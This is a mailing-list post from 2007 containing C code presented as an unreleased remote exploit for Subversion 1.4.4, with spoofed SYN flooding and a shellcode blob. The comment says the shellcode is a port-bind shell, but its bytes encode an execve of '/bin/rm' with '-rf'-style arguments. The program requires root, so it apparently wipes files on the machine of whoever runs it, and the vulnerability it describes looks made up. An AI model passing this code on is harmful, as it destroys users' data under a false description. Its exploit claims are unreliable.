[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] here
- To: tom@xxxxxxxxxxxxx, full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] here
- From: "onion ring" <yum.onion.ring@xxxxxxxxx>
- Date: Thu, 20 Dec 2007 20:51:38 -0600
/*
* This exploits a wierd state condition in Subversion <= 1.4.4.
* When the incoming connection stack is filled via many incoming
* syns in concurance with shifting the rev_ptr struct over a
* variable gap of memory a boundary condition occurs which corrupts
* a func ptr to point several bytes backwards. A call is forced
* through "checkout-latest-rev" with our shellcode in place.
*
* This Vuln is NOT public, do NOT release this code or any
* information pertaining to this bug.
*
* Author: onionring
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <signal.h>
#include <sys/types.h>
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/tcp.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <netinet/ip.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define IP argv[1]
#define PORT argv[2]
#define TWEAK argv[3]
unsigned short FIN = 0;
char handler[] = "\xeb\x20";
/*
Portbind on 9999
The screwy state in this exploit required a bit of tweaking
*/
char sc[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
"\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
"\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
"\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
"\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
"\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
"\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
"\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
"\x04\x0B\xCD\x80";
unsigned short csum (unsigned short *buf, int nwords) {
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
void trigger(char *host, char *port) {
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
int i = 1;
char data[4096];
struct ip *iph = (struct ip *)data;
struct tcphdr *tcph = (struct tcphdr *)data + sizeof(struct ip);
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons((unsigned short)atoi(port));
sin.sin_addr.s_addr = inet_addr(host);
memset (data, 0, 4096);
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
iph->ip_id = htonl(1337);
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0;
iph->ip_src.s_addr = inet_addr(host);
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons(1337);
tcph->th_dport = htons((unsigned short)atoi(port));
tcph->th_seq = random();
tcph->th_ack = 0;
tcph->th_x2 = 0;
tcph->th_off = 0;
tcph->th_flags = TH_SYN;
tcph->th_win = htonl(65535);
tcph->th_sum = 0;
tcph->th_urp = 0;
iph->ip_sum = csum((unsigned short *)data, iph->ip_len >> 1);
setsockopt (s, IPPROTO_IP, IP_HDRINCL, &i, sizeof(int));
for (i = 0; i < 1024; i++)
sendto(s, data, iph->ip_len, 0, (struct sockaddr *) &sin, sizeof (sin));
kill(getppid(), 12);
}
int main(int argc, char **argv) {
char sendbuf[1024];
int day, sockfd, d, dir;
struct sockaddr_in serv;
if (argc != 4) {
fprintf(stderr, "[E] Usage: %s {target ip} {target port} {Tweak Num}
(generally 25-50 is the sweet spot)\n", argv[0]);
exit(1);
}
if (getuid() != 0) {
fprintf(stderr, "[E] Need root privs for raw sockets\n");
exit(1);
}
d = atoi(TWEAK);
sprintf(sendbuf, "( 2 ( edit-pipeline ) %d:svn://%s/hacksec )\n",
strlen(IP) + 14, IP);
serv.sin_family = AF_INET;
serv.sin_port = htons((unsigned short)atoi(PORT));
serv.sin_addr.s_addr = inet_addr(IP);
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[E] Couldn't connect to target\n");
exit(1);
}
if((connect(sockfd,(struct sockaddr *)&serv,sizeof(struct sockaddr))) < 0)
{
printf("[E] Couldn't connect to target\n");
exit(1);
}
printf("[+] Sending connect string\n");
send(sockfd, sendbuf, strlen(sendbuf), 0);
sprintf(sendbuf, "( ANONYMOUS ( 0: ) )\n");
printf("[+] Sending anonymous creds\n");
send(sockfd, sendbuf, strlen(sendbuf), 0);
printf("[+] Starting SYN bomb thread\n");
signal(12, (void *)&handler);
if (fork() == 0) {
trigger(IP, PORT);
exit(0);
}
dir = -1; day = 237;
printf("[+] Shifting pointer through mem (Signal needs to happen in the
middle of a shift)\n");
while (!FIN) {
if (day < (237 - d)) dir = 1;
else if (day > 236) dir = -1;
day += dir;
sprintf(sendbuf, "( get-latest-rev ( %d:hacksec 4 L 3412 0:0:0.0 (day
%d, dst 1) ) )\n", d, day);
write(sockfd, sendbuf, strlen(sendbuf));
}
printf("[+] Connection stack filled - Triggering call to corrupted
func\n");
sleep(1);
sprintf(sendbuf, "( checkout-latest-rev ( hacksec 4 L 3412 ) )\n%s", sc);
write(sockfd, sendbuf, strlen(sendbuf));
printf("[@] Sent! Check for shell\n");
close(sockfd);
return 0;
}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/